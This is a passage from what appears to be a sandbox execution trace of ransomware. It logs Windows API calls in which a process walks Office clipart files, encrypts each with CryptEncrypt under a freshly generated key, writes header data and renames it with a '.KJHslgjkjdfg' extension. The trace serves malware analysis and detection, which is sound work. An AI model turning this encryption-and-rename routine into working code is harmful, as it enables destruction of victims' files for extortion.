dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.kjhslgjkjdfg")) returned 1 [0205.152] CloseHandle (hObject=0x130) returned 1 [0205.152] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239973.WMF", cAlternateFileName="")) returned 1 [0205.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.153] GetProcessHeap () returned 0x2ef0000 [0205.153] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.153] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.153] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.163] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.163] GetProcessHeap () returned 0x2ef0000 [0205.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.163] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.163] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.164] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.164] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.164] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.164] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13e8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13e8, lpOverlapped=0x0) returned 1 [0205.165] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13f0) returned 1 [0205.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.166] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13f0, lpOverlapped=0x0) returned 1 [0205.166] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.166] SetEndOfFile (hFile=0x130) returned 1 [0205.169] GetProcessHeap () returned 0x2ef0000 [0205.169] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.169] GetProcessHeap () returned 0x2ef0000 [0205.169] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.kjhslgjkjdfg")) returned 1 [0205.170] CloseHandle (hObject=0x130) returned 1 [0205.171] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239975.WMF", cAlternateFileName="")) returned 1 [0205.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.171] GetProcessHeap () returned 0x2ef0000 [0205.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.172] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.172] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.172] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.172] GetProcessHeap () returned 0x2ef0000 [0205.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.172] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.172] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.172] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.174] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.175] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.175] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.175] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.175] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.175] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.175] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xda0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xda0, lpOverlapped=0x0) returned 1 [0205.175] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xda0, dwBufLen=0xda0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xda0) returned 1 [0205.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.175] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xda0, lpOverlapped=0x0) returned 1 [0205.176] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.176] SetEndOfFile (hFile=0x130) returned 1 [0205.178] GetProcessHeap () returned 0x2ef0000 [0205.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.178] GetProcessHeap () returned 0x2ef0000 [0205.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.kjhslgjkjdfg")) returned 1 [0205.180] CloseHandle (hObject=0x130) returned 1 [0205.180] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1 [0205.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.182] GetProcessHeap () returned 0x2ef0000 [0205.182] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.182] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.183] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.185] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.185] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.185] GetProcessHeap () returned 0x2ef0000 [0205.185] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.185] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.185] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.185] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.185] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.185] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.185] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.185] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.185] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.186] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.186] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.186] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcd8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcd8, lpOverlapped=0x0) returned 1 [0205.186] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xce0, dwBufLen=0xce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xce0) returned 1 [0205.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.186] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xce0, lpOverlapped=0x0) returned 1 [0205.186] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.186] SetEndOfFile (hFile=0x130) returned 1 [0205.189] GetProcessHeap () returned 0x2ef0000 [0205.189] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.189] GetProcessHeap () returned 0x2ef0000 [0205.189] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.189] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.kjhslgjkjdfg")) returned 1 [0205.191] CloseHandle (hObject=0x130) returned 1 [0205.191] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1 [0205.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.193] GetProcessHeap () returned 0x2ef0000 [0205.193] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.193] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.193] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.195] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.195] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.196] GetProcessHeap () returned 0x2ef0000 [0205.196] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.196] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.196] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.196] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.196] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.196] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.196] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.196] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.196] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.196] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.197] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1df8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1df8, lpOverlapped=0x0) returned 1 [0205.197] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e00) returned 1 [0205.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.198] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e00, lpOverlapped=0x0) returned 1 [0205.198] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.198] SetEndOfFile (hFile=0x130) returned 1 [0205.201] GetProcessHeap () returned 0x2ef0000 [0205.201] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.201] GetProcessHeap () returned 0x2ef0000 [0205.201] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.201] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.kjhslgjkjdfg")) returned 1 [0205.202] CloseHandle (hObject=0x130) returned 1 [0205.203] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1 [0205.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 